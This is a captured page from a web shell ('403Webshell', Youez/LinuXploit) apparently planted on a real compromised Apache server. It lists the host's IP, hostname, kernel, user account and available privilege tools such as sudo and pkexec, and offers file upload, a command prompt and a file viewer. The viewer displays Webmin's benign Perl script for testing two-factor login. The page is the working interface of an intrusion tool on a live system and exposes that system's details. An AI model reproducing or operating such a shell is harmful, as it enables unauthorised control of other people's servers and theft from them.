403Webshell
Server IP : 45.162.171.154  /  Your IP : 216.73.216.5
Web Server : Apache
System : Linux vxct2015.avnam.net 5.4.106-1-pve #1 SMP PVE 5.4.106-1 (Fri, 19 Mar 2021 11:08:47 +0100) x86_64
User : lpg.com.ar ( 1041)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/webmin/virtual-server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/webmin/virtual-server/test_2fa.cgi
#!/usr/bin/perl
# Test two-factor for a user who has just set it up

require './virtual-server-lib.pl';
&ReadParse();
&licence_status();
&error_setup($text{'2fa_terr'});
&can_user_2fa() || &can_master_reseller_2fa() || &error($text{'2fa_ecannot'});

# Get current status
&foreign_require("acl");
&foreign_require("webmin");
my @users = &acl::list_users();
my ($user) = grep { $_->{'name'} eq $base_remote_user } @users;
$user || &error($text{'2fa_euser'});
$user->{'twofactor_provider'} || &error($text{'2fa_etestuser'});
my @provs = &webmin::list_twofactor_providers();
my ($prov) = grep { $_->[0] eq $user->{'twofactor_provider'} } @provs;

# Call the validation function
&ui_print_header(undef, $text{'2fa_title'}, "");

print &text('2fa_testing', $prov->[1]),"<br>\n";
my $func = "webmin::validate_twofactor_".$user->{'twofactor_provider'};
$err = &$func($user->{'twofactor_id'}, $in{'test'}, $user->{'twofactor_apikey'});
if ($err) {
	print &text('2fa_testfailed', $err),"<p>\n";

	print &ui_form_start("save_2fa.cgi");
	print &ui_form_end([ [ undef, $text{'2fa_testdis'} ] ]);
	}
else {
	print $text{'2fa_testok'},"<p>\n";
	}

&ui_print_footer("", $text{'index_return'});

Youez - 2016 - github.com/yon3zu
LinuXploit